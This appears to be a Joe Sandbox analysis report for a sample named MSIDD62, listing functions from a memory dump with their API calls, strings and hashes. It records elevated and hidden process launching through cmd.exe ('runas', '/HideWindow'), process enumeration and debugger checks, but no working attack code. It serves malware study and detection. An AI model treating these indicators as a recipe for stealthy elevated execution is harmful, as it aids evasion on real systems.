Part of subcall function 003E7D30: CloseHandle.KERNEL32(?,755CD0F6,00000010,00000010,?,?), ref: 003E7D72

GetWindowThreadProcessId.USER32(?,?), ref: 003E7A9C
GetWindowLongW.USER32(?,000000F0), ref: 003E7AB4

Strings

Kernel32.dll, xrefs: 003E793D, 003E796E
/C ""%s" %s", xrefs: 003E7844
.cmd, xrefs: 003E77E0
GetProcessId, xrefs: 003E7938, 003E7969
.bat, xrefs: 003E77AA
runas, xrefs: 003E7874
open, xrefs: 003E7858
%s\System32\cmd.exe, xrefs: 003E782C

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: Window$Handle$AddressExecuteForegroundModuleProcProcessShellWindows$AllowBringCloseCodeDirectoryEnumExitLongObjectSingleSleepThreadWait
String ID: %s\System32\cmd.exe$.bat$.cmd$/C ""%s" %s"$GetProcessId$Kernel32.dll$open$runas
API String ID: 1023610922-986041216
Opcode ID: 6128159a1b4d92ff310769b615d80500b454131e153577702823a22f84e7d430
Instruction ID: 4108c1abb875e469d437025c4cef13bfb58f6e51871c20ebf481b82183e9e42e
Opcode Fuzzy Hash: 6128159a1b4d92ff310769b615d80500b454131e153577702823a22f84e7d430
Instruction Fuzzy Hash: AAE1C071E00259DFDB11DFA9C888BAEB7F5FF18310F258269E515EB291DB349901CBA0

Function 003ED060 Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 472COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 003ED200
LocalFree.KERNEL32(00000000), ref: 003ED257
_swprintf.LIBCMT ref: 003ED440
LocalFree.KERNEL32(00000000), ref: 003ED497
_swprintf.LIBCMT ref: 003ED592

Strings

%, xrefs: 003ED519
+, xrefs: 003ED506

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: _swprintf$FreeLocal
String ID: %$+
API String ID: 2429749586-2626897407
Opcode ID: 3ada492eb606007cef53eb0810d84f2afe81b2541e39e9e6a30f268aee45d874
Instruction ID: ea4c736b21c7f0dc49e5d5919c150a0294538b6159c165b774a1fb8658b06dfd
Opcode Fuzzy Hash: 3ada492eb606007cef53eb0810d84f2afe81b2541e39e9e6a30f268aee45d874
Instruction Fuzzy Hash: 6A02DE71E102699FDB16CFA9DC40BAEBBB5FF49300F15462AF811AB281D734A941CB91

Function 003F0E90 Relevance: 11.0, APIs: 2, Strings: 4, Instructions: 455registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,-00000002,00000000,00000001,?), ref: 003F12C4
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,004457C0,00000800), ref: 003F12E1

Strings

/RunAsAdmin , xrefs: 003F0FCE, 003F0FD9, 003F1003, 003F1013, 003F1032
/EnforcedRunAsAdmin , xrefs: 003F0EB0, 003F0EBA, 003F0EE3, 003F0F01
/HideWindow, xrefs: 003F1075, 003F107F, 003F10AC, 003F10BC, 003F10DB
/DontWait , xrefs: 003F0F37, 003F0F40, 003F0F6C, 003F0F8E

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: OpenQueryValue
String ID: /DontWait $/EnforcedRunAsAdmin $/HideWindow$/RunAsAdmin
API String ID: 4153817207-1914306501
Opcode ID: 14f0a01466cd002d8f28db3708d873f8b8938a49391d2c45257a28bb898956a1
Instruction ID: c05156054d0c722f61ded7e4f1bcf96f4c2326e9178f9350dad0df5dffd2b373
Opcode Fuzzy Hash: 14f0a01466cd002d8f28db3708d873f8b8938a49391d2c45257a28bb898956a1
Instruction Fuzzy Hash: 42E12629A0035ACBCB3A9F14E840376B3E1FF95740F5A846ADB45CB696E771CC82C395

Function 003E61D0 Relevance: 10.7, APIs: 7, Instructions: 234processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 003E6242
CloseHandle.KERNEL32(00000000), ref: 003E6285
Process32FirstW.KERNEL32(00000000,0000022C), ref: 003E62E1
OpenProcess.KERNEL32(00000410,00000000,?), ref: 003E62FD
CloseHandle.KERNEL32(00000000), ref: 003E6445
Process32NextW.KERNEL32(?,0000022C), ref: 003E6463
CloseHandle.KERNEL32(00000000), ref: 003E648E

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: CloseHandle$Process32$CreateFirstNextOpenProcessSnapshotToolhelp32
String ID:
API String ID: 708755948-0
Opcode ID: e346f32d7d886142333a9ec0103d232aab8c7fcef291c463dac37ccdc567edf1
Instruction ID: f3d6ca2e0717f41039d24e68af7a443e4889901166b4fab47297791526ffd3cc
Opcode Fuzzy Hash: e346f32d7d886142333a9ec0103d232aab8c7fcef291c463dac37ccdc567edf1
Instruction Fuzzy Hash: 0AA18A70901269DBDB21DF65C849BDEBBB8EF44704F1082D9E419A72D0D7B86E84CF94

Function 00424609 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1436COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 004247ED

Strings

1#SNAN, xrefs: 00424715
1#INF, xrefs: 0042473F
1#QNAN, xrefs: 0042471C
1#IND, xrefs: 0042470E

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: c7b8dc240282a7a5510ecc3e03be49f14ab8a7257404a6045dc805de84fa9c73
Instruction ID: 92cd29b00bd1a58eb80dad67928f0923bd740d049928f324980db03a00b21234
Opcode Fuzzy Hash: c7b8dc240282a7a5510ecc3e03be49f14ab8a7257404a6045dc805de84fa9c73
Instruction Fuzzy Hash: BDD24971E086288FDB65CE28ED407EAB7B5EB85305F5441EBD40DE7240EB78AE818F45

Function 00423BA3 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00423EC1,00000002,00000000,?,?,?,00423EC1,?,00000000), ref: 00423C3C
GetLocaleInfoW.KERNEL32(?,20001004,00423EC1,00000002,00000000,?,?,?,00423EC1,?,00000000), ref: 00423C65
GetACP.KERNEL32(?,?,00423EC1,?,00000000), ref: 00423C7A

Strings

ACP, xrefs: 00423BC1
OCP, xrefs: 00423BF7

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 298165ed825df0dbebc88ec0e0a98ffcfabe127ce2165f473f965049810c4140
Instruction ID: 9f3e923bda5a300087df26d2158064d5b8b883c7e715afc46cdac063bc26ceaa
Opcode Fuzzy Hash: 298165ed825df0dbebc88ec0e0a98ffcfabe127ce2165f473f965049810c4140
Instruction Fuzzy Hash: 2921B733700120A6EB34CF16E900A9776B6AB50F52BD58426E50AE7201E73EDF41C358

Function 00423D78 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0041AE3C: GetLastError.KERNEL32(?,00000008,004203BC), ref: 0041AE40
Part of subcall function 0041AE3C: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 0041AEE2

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00423E84
IsValidCodePage.KERNEL32(00000000), ref: 00423ECD
IsValidLocale.KERNEL32(?,00000001), ref: 00423EDC
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00423F24
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00423F43

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: c5f36cd20b5e213495f66198909215f8b55dfdb382b865dc1fe9aa905d4ed3d9
Instruction ID: 5918bea2b0c1ff1b954371ec1f3577a1673c409a817c1869aa3c958deb058858
Opcode Fuzzy Hash: c5f36cd20b5e213495f66198909215f8b55dfdb382b865dc1fe9aa905d4ed3d9
Instruction Fuzzy Hash: 3451A171B00225ABDF20DFA5EC45ABB77B8AF44706F95442AE500E7250E77CDE08CB69

Function 00423414 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0041AE3C: GetLastError.KERNEL32(?,00000008,004203BC), ref: 0041AE40
Part of subcall function 0041AE3C: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 0041AEE2

GetACP.KERNEL32(?,?,?,?,?,?,0041994B,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 004234D5
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,0041994B,?,?,?,00000055,?,-00000050,?,?), ref: 00423500
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00423663

Strings

utf8, xrefs: 004235D2

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: 055363e813afd50b0827dafecd105ad4a5e55e958c69a869a54332ac920c4360
Instruction ID: 7fe38f0c1d5247d2ffa1c8824f60ad0be688433b91b00623f7cf5c105c35b7f2
Opcode Fuzzy Hash: 055363e813afd50b0827dafecd105ad4a5e55e958c69a869a54332ac920c4360
Instruction Fuzzy Hash: BE710871B00321BADB25AF35EC42BA773B8AF05705F90446BF509D7281EB7CEA418659

Function 0041B336 Relevance: 6.3, APIs: 4, Instructions: 337COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0041B3C3

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: f068e2ee9b525f32e3efd226be2df2fe614e6fc1a05ef0a7f01a5d797c6cceda
Instruction ID: ecb972cfb30e69e50b71a92e0170889ab507eb156859c0ce8d0f4975dfeaf365
Opcode Fuzzy Hash: f068e2ee9b525f32e3efd226be2df2fe614e6fc1a05ef0a7f01a5d797c6cceda
Instruction Fuzzy Hash: 28B14972A002559FDB118F68C8817EEBBA6EF59354F14816BE805AB341D3389D81CBE9

Function 004083BD Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 004083C9
IsDebuggerPresent.KERNEL32 ref: 00408495
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004084B5
UnhandledExceptionFilter.KERNEL32(?), ref: 004084BF

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: fc797f530f18eb8001a8b3bdb3904989bca17ed8397d8b1166945e9eb7661c4c
Instruction ID: 3959213b7dfa1d1df3849048af917da5a261bdd5227f13d02cf305012448d43e
Opcode Fuzzy Hash: fc797f530f18eb8001a8b3bdb3904989bca17ed8397d8b1166945e9eb7661c4c
Instruction Fuzzy Hash: 18313A75D013189BDB20DF64D9497CDBBB8AF04304F1041AEE44CAB290EB755A85CF48

Function 003E2510 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00407875: EnterCriticalSection.KERNEL32(00444AF8,00000000,?,?,003E25B6,0044571C,755CD0F6,?,00000000,004293ED,000000FF,?,003E1A26), ref: 00407880
Part of subcall function 00407875: LeaveCriticalSection.KERNEL32(00444AF8,?,?,003E25B6,0044571C,755CD0F6,?,00000000,004293ED,000000FF,?,003E1A26,?,?,?,755CD0F6), ref: 004078BD

GetProcessHeap.KERNEL32 ref: 003E2565

Part of subcall function 0040782B: EnterCriticalSection.KERNEL32(00444AF8,?,?,003E2627,0044571C,0042CCC0), ref: 00407835
Part of subcall function 0040782B: LeaveCriticalSection.KERNEL32(00444AF8,?,?,003E2627,0044571C,0042CCC0), ref: 00407868
Part of subcall function 0040782B: RtlWakeAllConditionVariable.NTDLL ref: 004078DF

Strings

WD, xrefs: 003E262A
<WD, xrefs: 003E25DA
WD, xrefs: 003E2607

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionHeapProcessVariableWake
String ID: WD$ WD$<WD
API String ID: 325507722-3183347824
Opcode ID: 786eebcaec90935a2f8e8ea94c5e1d57d1814bc1e15a8b58a6cfe5f642dbbdf7
Instruction ID: 8b9c6f04b6d304b22481d9b3d44cbcf3bd7873a4db0f4da5ef411da612fe2a1d
Opcode Fuzzy Hash: 786eebcaec90935a2f8e8ea94c5e1d57d1814bc1e15a8b58a6cfe5f642dbbdf7
Instruction Fuzzy Hash: 71218DB5914B00DBDF10EFA5E946B497BE4E70A329F20423AE424973D2D7BC6900CB9D

Function 003F2161 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30windowCOMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32(!x-sys-default-locale,20000001,00000000,00000002,?,?,?,003E3270,?), ref: 003F2176
FormatMessageA.KERNEL32(00001300,00000000,755CD0F6,00000000,00000000,00000000,00000000,?,?,?,003E3270,?), ref: 003F2198

Strings

!x-sys-default-locale, xrefs: 003F2171

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: FormatInfoLocaleMessage
String ID: !x-sys-default-locale
API String ID: 4235545615-2729719199
Opcode ID: e6cc7986e0bb00fa3d9c3ba77cbaa4c3ad632cccce897050021d6caa5a8b4a13
Instruction ID: 1f88d669c403837d645275687780190e6c66886cfe2bd2d269c572aed6078ca4
Opcode Fuzzy Hash: e6cc7986e0bb00fa3d9c3ba77cbaa4c3ad632cccce897050021d6caa5a8b4a13
Instruction Fuzzy Hash: D6E06DB6650118FFFB149FA0CC0BEBF7B6DEB04790F104125BA02D6180E2B06E00CBA4

Function 00423827 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 0041AE3C: GetLastError.KERNEL32(?,00000008,004203BC), ref: 0041AE40
Part of subcall function 0041AE3C: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 0041AEE2

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0042387B
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 004238C5
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0042398B

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: f077b6419528d2fbc873addd0e380762da74d94b7af6f5fafb9bcd8af5d27a19
Instruction ID: 2620eacdd40fa0907a7369cb3eecacaeb1a18cf634d3e0ce19612996287a4c99
Opcode Fuzzy Hash: f077b6419528d2fbc873addd0e380762da74d94b7af6f5fafb9bcd8af5d27a19
Instruction Fuzzy Hash: E961B271B002279BDB249F29DC82BAAB7B8EF05741F50407AE905C6285E77CDA85CB58

Function 0040C3B6 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 0040C4AE
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 0040C4B8
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 0040C4C5

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: e3befba03c12ef23e9378c6c73a8d2e1219170130844526728cb1fee504b06a5
Instruction ID: f59042ab01b4e68b088d44a4d7f18fa372e27b9989b10a9538d5778de61924f7
Opcode Fuzzy Hash: e3befba03c12ef23e9378c6c73a8d2e1219170130844526728cb1fee504b06a5
Instruction Fuzzy Hash: E531B374901218EBCB21DF65D98979DBBB8BF48314F5042EAE40CA6290EB749F858F49

Function 003E1D70 Relevance: 4.6, APIs: 3, Instructions: 65COMMON

Download Yara Rule

APIs

LoadResource.KERNEL32(00000000,00000000,755CD0F6,00000001,00000000,?,00000000,00429360,000000FF,?,003E1D1C,00000010,?,?,?,-00000010), ref: 003E1D9B
LockResource.KERNEL32(00000000,?,003E1D1C,00000010,?,?,?,-00000010,00429340,000000FF,?,003E202C,?,00000000,0042938D,000000FF), ref: 003E1DA6
SizeofResource.KERNEL32(00000000,00000000,?,003E1D1C,00000010,?,?,?,-00000010,00429340,000000FF,?,003E202C,?,00000000,0042938D), ref: 003E1DB4

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: Resource$LoadLockSizeof
String ID:
API String ID: 2853612939-0
Opcode ID: e724058fb3eeade87aa30517ae39ce44606e69b37e081b694fb1c380e9d31e82
Instruction ID: 258635882ffdd63e2d8eaaf14228a955332651bad355fae07ffd0e88a58d5b9d
Opcode Fuzzy Hash: e724058fb3eeade87aa30517ae39ce44606e69b37e081b694fb1c380e9d31e82
Instruction Fuzzy Hash: 0611E732E006A49BC7319F1ADC45B77F7ECE789721F414A3BEC16D3680E6359C008694

Function 004138A0 Relevance: 3.4, APIs: 2, Instructions: 449COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55ed78c7c429dff4e87f4ebae4af2bdfb9d68bf7abf48bfa11f875b6aae70124
Instruction ID: 1961801496492b7ebe5945b3a4ec5d3ae7c9d132c5d6fa54a2e3cf2bc7c7968d
Opcode Fuzzy Hash: 55ed78c7c429dff4e87f4ebae4af2bdfb9d68bf7abf48bfa11f875b6aae70124
Instruction Fuzzy Hash: 68F13F71E002199FDF14CF69D9806EEB7B1FF48325F15826AE819AB381D734AE41CB94

Function 0041D192 Relevance: 1.9, APIs: 1, Instructions: 408timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,0041D5D7,00000000,00000000,00000000), ref: 0041D496

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: InformationTimeZone
String ID:
API String ID: 565725191-0
Opcode ID: 89bacc5ecc7f7e3998dac0c8555017ac45e188fb85b99d4f9eb3338708704a19
Instruction ID: fdc027bd06bcbd54904b3abf90f52be857aa01afa64e9a3a56c8e496062e00f9
Opcode Fuzzy Hash: 89bacc5ecc7f7e3998dac0c8555017ac45e188fb85b99d4f9eb3338708704a19
Instruction Fuzzy Hash: 8BC126B2D00115ABCB10AF65CC42AEF7BB9EF05714F54406BF911E7281E7389E81C798

Function 0041DB30 Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,0041DB2B,?,?,00000008,?,?,00426AD4,00000000), ref: 0041DD5D

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: ExceptionRaise
